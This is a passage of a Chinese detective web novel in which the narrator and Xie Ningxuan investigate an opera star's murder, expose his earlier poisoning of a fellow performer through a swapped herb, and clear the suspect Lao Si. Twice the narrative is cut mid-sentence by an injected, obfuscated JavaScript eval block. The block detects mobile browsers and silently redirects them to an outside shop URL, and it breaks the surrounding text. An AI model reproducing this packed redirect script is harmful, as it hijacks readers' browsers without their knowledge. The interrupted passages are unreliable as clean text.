脑海中登时浮现出老爹的话,我忍不住叫出了声:“怪不得!怪不得我爹说我来晚了,耽误了行程!我本以为是咱们在秋水县耽搁几天。现在看来,根本是一开始的行程就被拖慢了!” “嗯。所以我才问你,是不是金华的记忆你也没了?因为从目前线索判断,害你的动机,大概是在金华。” “为什么?京城也许有人不希望我来呢?” “谁?”谢宁轩露出笑容,“我们府上?绝无可能。宁辕一早听到你要回来,日日盼着,父王母妃也多次问起令尊你的安危。至于其他人,你不过是个刚及笄的闺阁少女,八年未曾上京,为何要害你?” 我语塞。但杀机来自金华府,我也很震惊啊。因为在老爹的描述和祖母的信中形容,原主在金华应该过的非常快活,祖母很喜欢这个孙女,阖家上下对她也是包容爱护,只是因为她到了婚配的年纪,老爹觉得京城更有奔头,才让离开金华的啊。 “根据你遇到的好心人老板娘所称,你的那名为橙橙的近身丫鬟,你可还有印象?” 我在脑海中拼命搜寻,一无所获。 “近身丫鬟,一般都是家生子,自小就跟在身边服侍,家人也都在府里操持。很少有人能买通这种丫鬟去害主子。但她显然和你的落水有关,那么,只有两种可能。一,她真的被买通,出发前就已经得了指令,趁机下手。如果是这样,那么路上跑了的丫鬟小厮,很可能也是她撺掇。成功后,橙橙跑路,自然,她的家人也都会离开金华王宅。” 我接过谢宁轩的话头,阴郁的说道:“另一种便是,橙橙的消失,是因为她也被害了。” 傍晚柔和的阳光洒下,我却只觉不寒而栗。 “我到底在金华得罪了何方神圣,追到京城都要干掉我?” 谢宁轩眼光扫过来:“这就要问你了呀。” …… “这样吧,我帮你写封信,你尽快寄回金华府,着手调查吧。”谢宁轩放缓了语气。 “好吧,也只能这样了。你打算从哪些方面入手?” “大人!”杨捕头出现,打断了谢宁轩的回答,我定睛一看,原来我们已经走入了小院。“调查梨园坊的衙差回来了,几个和瑶花班有名利冲突的戏班子,案发日也都有演出,没有发现可疑之人。” “大人,院墙完整,没有暗道狗洞之类的。几处院墙上倒是有不少攀爬的痕迹,有些还比较新,但瑶花班武生练习身手,本就时常翻墙攀爬,所以不能肯定和案件有关。”韩桂亦上前禀告。 这么说,还是不能确定是否无外人潜入。 “哦,还查出来一件事。”杨捕头又道,“瑶花班班主田德宇,竟然是凤派青衣第四代传人。” 凤派?传人? 谢宁轩瞥见我一头雾水,便示意杨捕头细说。 “京城戏曲师门传承,几十年前有个青衣的支派叫做凤派,开创者的名字没问出来。但是却查到,其第四代传人就是田班主。” 没想到当年田班主在京城也算是顶流啊。 杨捕头却摇头:“凤派在青衣这一行中不温不火,田班主在早些年虽然一直登台表演,但也没有特别出彩。后来他年纪大了,就退出戏班子,回乡去了。” 我和谢宁轩对视了一眼,都觉得这个消息似乎用处不大。 田班主是有正经师承的,这一行也看重传承,但是他也没正式收徒。不过,这和案件又有何关系呢?不管举行仪式与否,死去的离官也是他最得意、传授了衣钵、悉心教导的养子呀。 我正思索着,另一衙差赶来,手中举着个小玩意:“大人,您没料错,房顶上果然有不少划痕。还发现了这个。” 谢宁轩接过来一看,了然颔首。 一截非常短的绳索头,已经被冻得硬邦邦的,外面还有层冰碴子,不过还是能看出它被磨断的痕迹。 “这是什么?” 谢宁轩语气平静,似已看穿:“瑶花班上下并未发现能够得着房顶的梯子,那么凶手把尸体拖上去,就很有可能利用绳索。” “利用绳索?” “对,”谢宁轩指向屋顶一角翘起的飞檐,“用绳索绑在飞檐上,背着尸体借力爬上去的。” “啊?” “昨日你不也听到了吗?死者脖子上挂着绳索。” 我一惊,登时明白了他的意思。 凶手掐死死者后再勒以绳索,并非出于报复心中二次施害,其实就是在死者脖子、腰间都挂上绳索,借助绳索的力量将其抬上房顶。 “瑶花班除了汀汀,都是男子,趁夜背着尸体爬上房顶,以绳索分力,并非不可能。”他指一指手中的绳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13127785|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 索头,“这些痕迹,也证实了我的猜想。” 这推断是能站得住脚,但问题是难度不小啊。田叔、班主,还有班子里那几个身材瘦小的哥们,怕是难吧。 一旁的杨捕头连连点头:“所以我们怀疑老四。” 我讶然:“因为他是武生?” “不完全是。”杨捕头伸手指指向外面,“瑶花班新招了武生,成员也有不少高大魁梧的,徒手掐死离官、爬个屋顶翻个墙,或也不是难事。但是,在案发时段,除了老四都没有时间。何况田叔喝醉也是他作陪,搞不好他就在故意灌醉田叔。王小姐你说,不是他还能是谁?” “可是,老四没有动机啊?对了,老四的钱财状况查到了吗?他可已经买房买地?” 杨捕头脸色晦暗:“还真没买。自从瑶花班扬名之后,各府赏赐主要是给离官的。班里赚的钱,大家分了之后,离买房买地还有些距离。老四手上的钱也就够在京郊买个小宅子,想让汀汀跟着他做夫人,过上有人侍奉的舒坦日子,还早着呢。” 这么说,老四没有说谎。这个节骨眼杀了离官,对他没有任何好处。 “那房顶上有黄符、纸钱之类的东西吗?” 谢宁轩眯了眯眼:“没有。怎么,你怀疑和某种祭祀仪式有关?” 我没说话,但心里的确在打鼓。 其实我最初听到离官被冻硬的时候,倒是想过凶手会不会是故意让离官冻住,从而混淆死亡时间。但细想就会发现不可能,因为离官死亡的时间是比较明确的,证人不止一个。 另外,早春白天尚短,酉正天就黑了,那凶手是杀完人立即将离官运上房顶的,还是等到深更半夜再运?凶手即便利用绳索爬上去,背着个大活人,啊呸呸,背着个尸体爬上去也不是容易事,就一点动静都没发出? “你们不觉得奇怪吗?昨天汀汀几人都说回了房间之后再没听到什么动静,可是离官是被活活掐死的,怎么会没发出一点声音呢?他总要挣扎的吧?总会乱抓乱踢的吧?” 我想到了医馆案中的少东家。当时是因为在客栈包间,没什么多余家具,也无生活中的零碎物件,加之楼下聚餐吵吵闹闹,因而勒毙时未惊动他人。 可离官被杀时,小院安安静静,为何也没人听到动静? 杨捕头也露出不解的表情:“是啊,王小姐说的对,这是有点奇怪耶。我去离官屋里看过,堆得满满的,没有多少空地方呀。” 谢宁轩是行动派,当即迈步:“走,再去看一遍。” 离官作为台柱子,他住在小院最大的房间里,一应陈设也都是高级货。雕花大床上粗粗堆着被褥,那质地一看就不便宜;搁挡床和外间的,是一盏精美的屏风,上面还搭着他的几件披风,衣料也价值不菲。 走出屏风,无论是八仙桌及上面的茶点瓜果,还是花纹精美的几把圈椅,都毫无被摔打过的痕迹。一旁还有一个炭炉,里面是上好的精炭,炭灰满满没有洒出来。 靠墙放着一面很大的梳妆台,上面有各种油彩,应该是他化妆的材料。这些油彩如果打翻在地,可不是一时半会儿能清理掉的。 但这满满当当的屋子,充满了生活气息的屋子,哪有地方供他挣扎呢? 难道凶手事先下了迷药? 但按照三样等人的口供,离官从离开太尉府到回屋,滴水未沾,而老四买的糕点,三样也压根没送进去。 我认真巡视一番后,推开了窗,窗外正对着小院中心。如果凶手是外来的,见到大院的格局,还真一时半会摸不清离官住在哪个屋。何况,三样住在门房,有人推门进来他就能听见。案发时也不是深夜,那凶手到底怎么避开三样和其他人的耳朵行凶的呢? 这时,久未说话的谢宁轩忽然提出了一个思路。 “王姑娘,你觉得有没有可能,离官不是在他的房间被害的?” 24.探访小院 我心神一动,登时陷入了思考。第一死亡现场不在屋里? 可是,三样明明说看见离官回屋的……哦对,三样根本没有一直盯着离官的屋子,而后来几个人也没有谁一直在院里监视,所以离官中途可能去了别的房间? 当然还有一种可能性,就是三样在撒谎,离官根本没有回到自己屋子。 不管怎么说,离官进入大院,这是有两户邻居作证的。他的尸体最后也是在屋顶发现的。所以他如果不是死于自己房间,那就是死在凶手的房间! 这么想着,我和谢宁轩四目相接,流淌出一样的怀疑之色,同时站了起来。看来是得把所有房间转一圈了。 因着衙差调查案情,瑶花班大部分人都被要求呆在房中不得外出。我们进门的时候,田班主正坐在炭炉边,看着跳跃的火苗出神,静静流泪。 他的房间与离官的房间差不多大,布局也比较像,虽然没有梳妆台,但在这里作案的话,显然还是会发生动静。 老三老四的房间都只有离官的一半大,老三长相柔美,可房间却乱糟糟的,到处都是他表演用的器具,油彩也到处乱放着,衣柜半开,露出不多的几件衣服,领子泛白,有的还有补丁缝线,看起来挺旧的。 老四长相五大三粗,屋子却收拾的很整齐,桌椅板凳、甚至地上都没什么灰尘,是个爱干净的人。 见到我们进来,他们都追问了案件的进展,听见暂无发现时,老三发了脾气,老四却只叹了口气。这俩人可真有意思,性格和长相竟完全相反。 田叔在屋里拉二胡,曲调哀伤。 其实不管瑶花班众人对离官是否有怨气,离官的突然死亡都是他们不愿意看到的。毕竟离官将瑶花班带到了如此地位,班里每个人都实际受惠。伴随着二胡乐曲,我们从田叔屋中走出,意识到田叔屋子更小,更不可能挣扎时发不出声音。 至于汀汀的屋子,则和田叔差不多大。她穿着一袭白衣,握着离官的腰带,无声的哭着。时不时低头抚摸离官的衣服,喃喃自语。看得出来,她对离官用情很深。 三样的门房更不必说,也就十平方那么大,一眼可尽收眼底。看到我们来,三样不太高兴,因为昨天衙差把每个人的屋子都翻了一遍,三样有几件衣服都被踩脏了。他朝杨捕头瞥了一眼,就抱起自己的衣服站到一边,气鼓鼓着。 杨捕头表情尴尬,偷偷觑了一眼谢宁轩,生怕领导责问。不过后者显然注意力不在他身上,而是俯身捡起了角落里的一条围巾,摸着上面的刺绣,问:“这是大师姐给补的吗?” 三样伸手接过来:“是啊,有小花的都是大师姐缝的。” 一朵小小的蓝色的花在围巾上,就像今天在厨子袖子上看到的一样。回想刚才转了几间屋子,好像都看见了这样的绣花。 等等,离官的房间…… 我突然意识到,刚才翻查离官房间的时候,全是崭新的衣服,没有一件旧衣啊。 我扭头立马示意谢宁轩,却见他正瞧着我,分明也注意到了。 还真是同频。 心口莫名跃起波澜,我赶忙垂下眼帘,就听谢宁轩轻柔一笑后,淡声道:“离官是魏王看重的名角,扔掉穷困的过往,将自己拾掇的匹配的起如今梨园红人的身份,倒也合理。” 对面站着的三样,却撇了撇嘴,似乎很不屑。 凌轩朝我丢来个眼神,我柔声问:“三样,我们猜的对吗?他成名后,全部换了新衣?” 三样面露鄙夷:“没错!他得了魏王赏赐,就急急忙忙找了裁缝,给他量身定制。就这都等不及,还去成衣铺买了不少新衣服,生怕别人不知道他有魏王撑腰,飞上枝头!” 说罢,三样又看了一眼自己手中的围巾,愈加愤慨,“他还把旧衣服通通扔了!让三师兄四师兄帮他收拾,指挥我扔到大院外,丢给乞丐穿。哼,你们说这人是不是一点旧情都不念?这上面可有着大师姐的小花啊!怎么舍得统统丢掉的!第二天我看到四师兄为了汀汀打他,我都差点没忍住,想动手呢!” 咦?三样这话有点意思哦。 按照光头厨子的说法,离官就算和大师姐没有在一起过,也应该是暧昧的朦胧阶段。当初大师姐病重时,他也尽心尽力去寻药。可等他扬名时,却将往日的痕迹统统抹去,这似乎又太无情。 那么,他对大师姐到底是什么样的感情呢? 最后一站便是发现离官尸体的房顶对应的屋子,是间柴房。不少柴火松散的堆放着,稍稍一碰就滚落下来。此处绝不可能发生大的打斗,否则必有响动。 小院就这样探访完了,似乎没有找到任何合适的作案地点。 难道凶手曾将离官带离,行凶之后再扔进来? 谢宁轩却笃定摇头:“不可能。” 离官本人没有任何武艺,凶手即便是个武林高手,带着一个大男人翻墙,却没发出一点动静,这的确不太可能。毕竟当时还是白天,院里至少有三样清醒着,假如再晚点,就有更多的人在小院里。 我想起电视剧中演过的那些飞檐走壁的高手,但又否定了这个猜想。假如凶手真能上天入地,那么他放置尸体到屋顶,也就不用借力绳索了。 可我还是不死心:“有没有可能,凶手借力绳索带离官飞出院子了呢?” 谢宁轩抱臂,手指轻敲着手臂,沉吟道:“也不太可能。你注意看那飞檐,距离院墙较远。借助绳索攀爬是一回事,但横飞出院子,难度就不在一个量级了。带着人飞,绝不可能毫无动静。” 我们边走边讨论,已经来到了小院外。不少瑶花班的成员都走出房间,盯着我们看,阴沉、丧气。 这什么情况? 我有点懵,谢宁轩却未有惊愕,只侧身走到了我身前,迈步走进人群。简单询问之下,原来是大家对离官之死,都很震动。 我索性与他们交谈起来,还着重问了离官与大师姐的关系,可没有其他人发现他们之间有情愫,只说师兄弟几个感情都非常好。有人还看见过,大师姐病重时,离官给了郎中好几倍的诊金,哭着求他一定 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“诶,”我在一旁插嘴,“方才那光头厨子不是说过,药方中有一味甘草,他还帮忙去寻过吗?” 小厮听见了,忙不迭点头:“对对,我记得是有这个。” 谢宁轩朝我莞尔一笑:“还是王姑娘细心。不过有甘草的话……” 他吞掉了后续的话,低头沉思。片刻后,他招手唤杨捕头,附耳吩咐了一句,后者便疾奔而去。 “怎么,你发现了什么?”我问着,意识到他恐怕也怀疑起大师姐的死了。 谢宁轩不答反问:“王姑娘也觉得大师姐的死有蹊跷?离官是因为这个被害?” 我如实回答:“我确实这么想过,毕竟老四和大师姐一母同胞,案发时段他又在大院,身体能力方面也比别人有条件。何况,勒索信如内容为此,离官的情绪反常便也有解释了。但是,我还是觉得讲不通。” “哪里讲不通?关于老四为何选择这个时点动手?” “没错。老四若一早知道实情,隐忍至今为何会爆发?他可还没有攒够钱啊。如果是近期才知晓真相,可又发生了什么事,让他起了疑虑呢?” 说到此处,我的脑海中闪过一道白光,但转瞬而逝,我没能捕捉到它的提示。 谢宁轩更是眉头紧蹙,他又抱臂沉思起来,手指轻轻敲击手臂。 是什么不对劲,是哪里让我觉得有些不正常?好像就在刚刚,好像就在眼前…… 方才我们是在查看各个屋子啊,可是并没有找到作案现场,那么……等等,方才有什么吸引了我的目光…… 啊,我知道了!衣服! 与我瞪圆了眼的同时,是谢宁轩猛然以拳击掌的豁然。 恰在此时,杨捕头跑了回来:“大人,没错,郎中说了,那就是土三七!” 谢宁轩眼角微颤,立时吩咐曰:“将所有人扣押至自己房中不得外出。带老四田南禄来正厅审问!” 25.审问 正厅里,谢宁轩冷着一张脸,旁边的杨捕头握着刀阴沉沉的盯着堂下站着的人。在沉静到可怕的气氛里,老四田南禄越发惶恐。 眼看时机到了,谢宁轩端起茶杯吟了一口。 接收到信号后,一名衙差匆匆跑入禀告:“大人,在离官衣柜底下发现了几封信。” 衙差赶忙递上书信,封皮都是粉色的。在这个过程中,老四瞪大了眼睛,露出茫然的表情。 谢宁轩故意将信展开再递给我,让女儿家娟秀的字体露在外面,落款的“花”字明明白白落在堂下之人眼中。 “还问出什么?”杨捕头也看完一封,继续问衙差。 衙差大声回复:“瑶花班的厨子说曾看见离官递给大师姐书信,大师姐还脸红来着。” 老四表情陡变。 谢宁轩眼帘都没抬,继续问道:“还有吗?” “还有个小厮说看见离官与大师姐散步赏花。” 老四忽然发作,指着谢宁轩怒吼:“这不可能!你别瞎说!” 语毕,他朝谢宁轩与我冲来。谢宁轩只伸手掩我到身后,自己却纹丝不动,半点惊慌也无。 我紧张的呼吸都加速了。就见杨捕头猛然跳起,径直蹿上房梁,用力一蹬,直接踹到老四胸膛。后者直接扑到地上,发出剧烈响声,头和嘴立时流血。 好家伙,虽然我们知道,以这真真假假的消息来诈他,一定会突破老四的心理防线,诱他说出真相。但他这反应,也太吓人了吧。 不过也好,反应越大,对真相的隐忍与痛苦就越强烈。 “好了,放开他吧。”谢宁轩波澜不惊。 老四被放开后,趴在地板上久久没站起来,他脸部朝下,整个人在抖着。我花了几秒钟才意识到他是在哭。 我朝谢宁轩投去一个无奈的眼神,谢宁轩亦了然侧头,示意杨捕头将他扶起。 “田南禄,你为什么这么激动,想抢我手中的信?因为你根本不信离官与你姐姐有情谊,对吗?” 老四被扶起坐在椅子上,他的嘴唇磕破了,眼睛红彤彤的。整个人瘫坐在椅子上萎靡不振,盯着谢宁轩片刻,又将视线慢慢投向远方,良久,方低声说道:“是啊,姐姐怎么可能和他有私情,如果真的有,他又怎么可能会害了姐姐。” 我和谢宁轩对视一眼,果然。 老四收回目光,又瞪向我们,带着不甘:“你们、你们是怎么发现的?” 这也是我不解的地方,谢宁轩怎么就锁定了老四的嫌疑?药水发酸,有什么问题吗? “因为治疗跌打损伤的药方如含有甘草,应该配以三七、赤芍,病人吃着这个药方,之后又遇风寒,出现高烧、虚汗、呕吐也是常事。但是,不应该出现面部生红斑的症状,熬出来的药,更不应该是酸的。” “不应该是酸的?”我一惊,“竟然真的有人换了药?” 回答我的是杨捕头:“没错,大人让我去找郎中确认了。如果熬出来的药是酸的,那只能说明,病人喝下的不是三七,而是土三七。” “土三七?” “是,土三七与三七药名很像,但其实差别很大。三七性平,具有化瘀止血,活血定痛的功效,常用于治疗跌打损伤,瘀血肿痛。土三七则性温,具有止血、散瘀、消肿止痛、清热解毒的功效,虽说听起来对跌打损伤也对症,但它多用于治疗吐血、咯血病症,而且它对肝脏损害极大,不能长期使用。” “这么说,大师姐的药被换成了土三七?” 谢宁轩颔首:“嗯,高烧、虚汗、呕吐,这些瑶花班上下都以为的风寒症状,其真相其实是她长期使用土三七的副作用。当体表出现红斑,则说明中毒严重,继续服用就会死亡。” 大师姐的死果然内有玄机! “那个王八蛋换了姐姐的药!”老四痛苦的闭上眼,额头上的血流了下来,“姐姐手腕受伤后,演出总是不得劲儿。她那个人要强的很,对自己表演不好特别心急,喝的汤药都加了量。是药三分毒,我早就给她说,不可以这样,可她固执己见……我们也问了郎中,说那方子很温和,不至于出什么岔子。后来,她又得了风寒。也是那混蛋找的郎中来开药。那郎中给她把脉,怎么可能不知道她体内有毒!” 所以瑶花班成员曾看到离官给郎中几倍的诊金,根本不是为了让郎中尽心,而是封口费,让郎中隐瞒大师姐体内有毒的真相。 而看到离官在哭,只怕是他虽然决定杀了从小一起长大的姐姐,但仅存的一点良心还是让他悲哀落泪。 但从他杀了大师姐后,却能与老四继续合作,且合作默契、毫无心虚来看,那一点点良心,也随着泪水的流逝,消失了。 “你姐姐病亡的真相,你之前并不知晓。直到离官得了魏王赏识,迫不及待扔掉旧衣服,还让你帮忙打包。你就是那个时候,发现的,对不对?”我问道。 三样说,扔掉旧衣的次日,就发生了老四殴打离官事件。当时我们下意识认为,起因在于三角恋。但如此相近的日期,若契机与汀汀无关呢?如果是老四在旧衣中看到了什么线索,意识到姐姐之死不简单呢? 我们猜得没错,老四哭诉道:“我抱着他的旧衣往外扔,可、可看着那些补丁,那一朵朵小花,我心里就难受。我舍不得了,便想着留几件,聊做慰藉。谁知,在其中一件衣服的口袋,我发现了一个药方。” 我看了一眼谢宁轩,后者也微微叹了口气。 “那上面本来写的是三七、赤芍之类的,但是有人却将三七划去,写上了土三七。我当时不明白,但也觉察到不妥,就悄悄去问了附近的药铺。那伙计一看就嘱咐我这药太烈,有毒性,绝对不能长久用。我、我这才知道!怪不得那时候他那么殷勤,主动请郎中,主动抓药……” “所以你回来打了他,你说你是为了汀汀,其实是为了姐姐?” 老四锤了锤自己的脑袋,语气低迷,“我……那天我问了郎中回来之后,我又恨又气,一回来又看见汀汀在哭,我实在控制不住,我就打了他!” “打架之后,你却心平气和这几个月?” 老四抬头看向谢宁轩,眼神中有迷惘、痛苦、彷徨。 “我、我刚开始非常恨他,我想杀了他!那天打架,要不是三师兄和田叔拉着,我真能把他打死,我骂他我踢他我锤他!我说我一定会杀了他!汀汀哭着求我不要再打了,厮打之间,汀汀被我推倒在地上。我、我只好停下……三师兄陪我喝酒,劝我为了汀汀着想……我、我太痛苦了!我灌了许多酒、许多酒,一想到我们儿时的情谊,我真的难以置信,他竟然对我姐姐下得去手!第二天我刚酒醒,汀汀敲我的房门,她说……” 老四痛苦的摇着头,似乎想要把这段不堪的记忆抹去,“她竟然说,只要我别为难那混蛋,她愿意接受我的好,甚至愿意嫁给我……呵呵呵呵,”老四发出几声扭曲的笑声,“汀汀为了他,竟然这般低三下四……我……” 原来如此,我说汀汀对离官一往情深,为什么老四之前却笃定说自己攒够了钱能迎娶她,原来还有这一茬。 这也解释了,在我们第一次盘问他的时候,他话里有话,说离官是混蛋、不重情义,其实指的不仅仅是辜负汀汀,更是指离官干了杀害师姐的勾当,负了一起长大的情谊。 “可你、你没有继续报仇……你在姐姐和汀汀之间,选择了汀汀?”杨捕头眼睛瞪着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13150605|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,很难理解。 老四捂着脑袋哭了起来,哭声从压抑到肆虐,也是他痛苦又纠结的内心。 杨捕头不悦的呛声:“田南禄,你不要装疯卖傻!你说你为了汀汀放弃了复仇,其实并不是!离官还是死了,就是你杀的他对不对!” 老四猛地抬起眼,疯狂摇头:“我没有,我没有!” 杨捕头追问:“案发时段你借口怕田叔和离官有冲突,其实是为了潜回来掐死他,对不对!” “不,不是的!” “你故意灌醉田叔,是为了方便下手,之后你还将他的尸体扒光衣服扔到房顶上,就是为了羞辱他!” “我没有!我没有!”老四大叫,从椅子上站起来,被两个衙差死死按住,他挣扎了几下,忽然泄了气,头抱着脑袋痛苦的说,“我下不去手,我下不去手!我也曾想过,我也曾想过,可是……我没用,我没用啊!姐姐,我报不了仇,我对不起你啊!” 眼见老四已经情绪崩溃,谢宁轩给我使了个眼色,与杨捕头一道出了屋子。 “找个郎中给他把伤治一下,让他回屋吧。”谢宁轩声色平淡。 “什么?”杨捕头大惊,“为什么不抓他?” 谢宁轩语气轻却笃定:“因为他不是凶手。” 杨捕头眼珠子都要瞪出来了:“怎么可能!他动机强烈,又有杀人时间,还有武力,他怎么可能不是凶手!” 谢宁轩没有回答,而是朝我看来,似乎等着我解释。 眼看杨捕头神色急切,我也没多想,便简单回复:“因为从本质上而言,老四不是一个喊打喊杀的嗜血之人。他是一个胆怯、柔情、细腻的人,他崩溃于姐姐的死,却没有勇气质问离官,甚至在汀汀的求情下,就轻轻揭过了这件事。” 屋内五大三粗、魁梧有力的男子,正痛苦纠结的哭着。我想起他为离官买的糕点,叹了口气:“我想,甚至汀汀的求情,未必对他来说是负担。” 谢宁轩亦赞同:“他本就是个软弱、庸碌的人,除了得知真相的那一刻,恨意和嫉妒混杂在他的脑中,促使他对离官砸下拳头。在那之后,当他酒醒了,他应该是彷徨又无助的,他不知道自己该怎么办,他害怕面对,害怕真相,所以当汀汀求他的时候……” “他就借坡下驴,”杨捕头难以置信的张大嘴巴,“把姐姐的死抛诸脑后了?” 我和谢宁轩交换了个眼神,都没有说话。 杨捕头搔搔头,仍不死心:“大人,小姐,咱们不能仅凭他的供词就排除他的嫌疑啊,说不定他假装答应汀汀,其实是隐忍至今,找到机会一击即中呢?” 谢宁轩摇头:“假如他是这种人,有心机、懂得隐藏自己、为了目标可以忍耐的人,他又怎么会选择这个时机、用这种手法下手?” 我同意:“而且在案发时段,他没有不在场证明。就算我们挖不出大师姐的死因,单凭他对汀汀的痴情,也可以认定他为情杀人,所以在动机上,他本身就有嫌疑。他又是班里为数不多的武生,如果他真是腹黑的人,何必徒手掐死,并抛尸房顶,白白给自己增加嫌疑?” 杨捕头张了张嘴,好像要反驳,但想了想还是泄气。“大人和小姐说的也有道理。可是那凶手不是老四,又会是谁呢?” 沉默中,我和谢宁轩走到院中。夕阳正好,晚霞金灿灿的渡在天边,整个天色都是暖色调。一位老者正发出感慨,用玄学给这桩案子下了定义,宣告着今天的调查告一段落。 “那日,我们演出完,就是这样的夕阳!我看到夕阳打在二师兄脸上,映射出红白相间的奇异的光芒,我那心里就咯噔一声,总觉得诡异!现在回想,那就是不幸即将降临的征兆啊!” 26.收徒仪式 接下来的两天,瑶花班的案件进入了僵局。 谢宁轩让人从各个路径下手,全面核查。问出的信息又多又杂,其中不少也的确与离官、大师姐、老四有关,可是能用的没几条。 从老四给汀汀送了个簪子查到三样喜欢上了隔壁邻居的女儿;还有人提及老三酒后怒骂班主不给他传授技艺,抱怨离官今天的地位都是偷来的;有人说自己一年前捡拾了还算新的人家扔了的衣服穿,还被离官嘲笑;有人抱怨班子要散了,快让他们出去重新找活计;有人抓着衙差不放,非要问府衙还缺不缺打杂的;还有人暗戳戳怀疑老三不是班主亲生的…… 这日,谢宁轩又登门了。 “诶?谢府丞,怎么,又有案子了?”我爹一扭头,忙不迭站起身去相迎。 “啊,我,那个……”谢宁轩支吾了两句,找了个蹩脚的理由,“我刚好路过,闻着好香啊,进来讨口吃的。” 我爹眉毛一扬,肉眼可见的不信。但见我坐的稳当,屁股都没抬一下,那厢谢宁轩也露出坦然的模样。倒也只能装糊涂,做出手势请谢宁轩进门。 “哎呀,谢府丞来得不巧,我们这刚吃完午饭。要不,我让钟叔给你下碗面?” “不用……” “好呀!” 我和谢宁轩同时开了腔,答案却南辕北辙。 我诧异的瞪过去,眼神在说:“吃什么饭啊,你不就是来找我头脑风暴的吗?一连来三天了,装什么呀!” 谢宁轩的眼神在抗议:“讨论案情前不能吃饭吗?饿也是真的饿!” 老爹僵了三秒钟,然后化作了狗腿一笑:“哎呀哎呀,什么不用了,谢府丞还穿着官服呢,是下了朝直接过来的吧?肯定还没吃饭!老钟,快快,来,我给你说,你弄个……” 眼看他二人都进了厨房,我抓紧问道:“有进展了吗?” “没有。” 我翻了白眼:“那你来干嘛?” 谢宁轩无语:“没进展才来找你讨论啊,看看有没有什么线索漏了。” 切,能漏什么啊,该说的嘴皮子都说破了。 不过嘛,我忍不住打趣道:“谢大府丞还号称断案高手呢,怎么还需要找人讨论推理?以前破案,也这么没效率?” 谢宁轩撩袍坐下,长腿交叠,优雅从容。他闻言也不恼,唯眼风扫过来:“听你啰嗦,总比我自己思考时需要写在纸上方便,刚好也省点纸。” 好嘛,这是拿我当留声机,方便他自个查漏补缺呢? “这是什么?”谢宁轩指着桌上已经凝起的底料,忽然发问。 我没好气:“牛油火锅啊,你也没吃过?” 嗨,这青朝真是土老帽大汇总,连牛油火锅都没普及。哦,我今天拿橘子挤了杯橘子汁,我爹也大惊小怪来着。 “火锅还能这样吃啊?”谢宁轩露出笑容,梨涡若隐若现,“也是金华的特色?” 我心口一跳,忙道:“啊,不是,是一位来金华府游方的川蜀郎中教我的吃法,说在蜀地很流行。那个,你没去过川蜀?” 谢宁轩摇头。 “那你真该去玩玩,那边景色可美了。” 谢宁轩浅笑:“我大约机会渺茫了,京官无召不得出京的。” “啊?那你前些日子是?” 谢宁轩没有说话。但我明白了,他就是奉了皇命,才会出京公干的。但既然光明正大,为什么乔装打扮,还拿着御青王府的牌子,隐藏身份呢? 眼见谢宁轩没有解释的意思,我自然也知趣的未再追问。 一时间,我二人都沉默的盯着凝结的牛油底料发起呆来。 你别说,这底料还真有些眼熟,你看这颜色,红彤彤光泽十足。嘿,还有点像那酒铺老板娘嘴上那抹口脂。还像什么呢?哦,也挺像离官房中鲜艳的油彩呀。 我被自己的想象力逗得发笑,暗想这油彩好,一边画画还能一边吃,完美的将生计与艺术结合在一起,是人人都能达到的阳春白雪。 恰在此时,脑袋中又有一道灵光滑过,那熟悉的感觉又回来了。 我咧开的嘴巴慢慢收了起来,心跳开始加速。一句玄学又莫测的话语在耳旁回响。 “……他的脸上啊,映射出红白相间的奇异的光芒,现在想想,那就是不详的征兆啊!” 初听时,这只是一句马后炮似的中式玄学,没有科学理论,却充斥着悲剧色彩,就像是一幕悲剧电影结局的留白。 可现在…… 我倏地意识到,不,这不是老人家迷信的说辞,这明明是一幕极为重要的关键场景。 “谢宁轩,”我猛地抬头,疾声问道,“我问你,离官死亡那天,他从太尉府表演完,是不是没有卸妆就回了大院?” 谢宁轩表情一僵,认真回想:“口供并未特别提及。但,我好像在三样的证词中见过。他说离官当天心情不好,演完了戏立刻就出了太尉府。那么,应当没有时间卸妆。怎么,你想到了什么?” 我盯着凝结的牛油锅底,慢慢说道:“离官从太尉府回到大院,邻居看到了,这一点没问题。可是我们忽略了一点,离官当时没有卸妆!因为老者看到阳光照在他的脸上,竟然能反射出红白的光芒,这就不可能是皮肤反射的,一定是他还带着妆容。” 谢宁轩眯了眯眼:“的确。班中有人提及过,有时候表演不止四场,演完已至夜深。班子成员都不多做停留,径直回大院再收拾卸妆。这么讲来,那日离官未曾卸妆就回,加之他本就心情不好,众人便也不做他想,未曾察觉异常。” “但是,如果他没有卸妆,那么……” “那么人人以为走出太尉府、回到大院的人是离官,其实……”谢宁轩接过我的话头,与我四目相对。 不是离官,就意味着我们所判断的基石发生了动摇。 不是离官,那就说明凶手有意伪装成离官。 对,是的,他的尸体被放在房顶,就是为了混淆死亡时间……那勒索信呢,是凶手发出的吗?是谁,谁有这个时间,谁能这么做? 脑海中浮现出一个身影,我被自己的推理吓住了,喃喃自语:“不,不可能,他不会啊……还有、还有动机呢……为什么?” 同一时间,谢宁轩亦想通了,双手一拍,斩钉截铁:“是他,只能是他!” *** 最爱的徒弟离奇被害,对田班主的打击极大,他在房中不吃不喝,整个人都消瘦了一圈。 离官死后第七天,田班主忽然冲出房门,说要为离官办一场隆重的收徒仪式,正式将他收做徒弟。 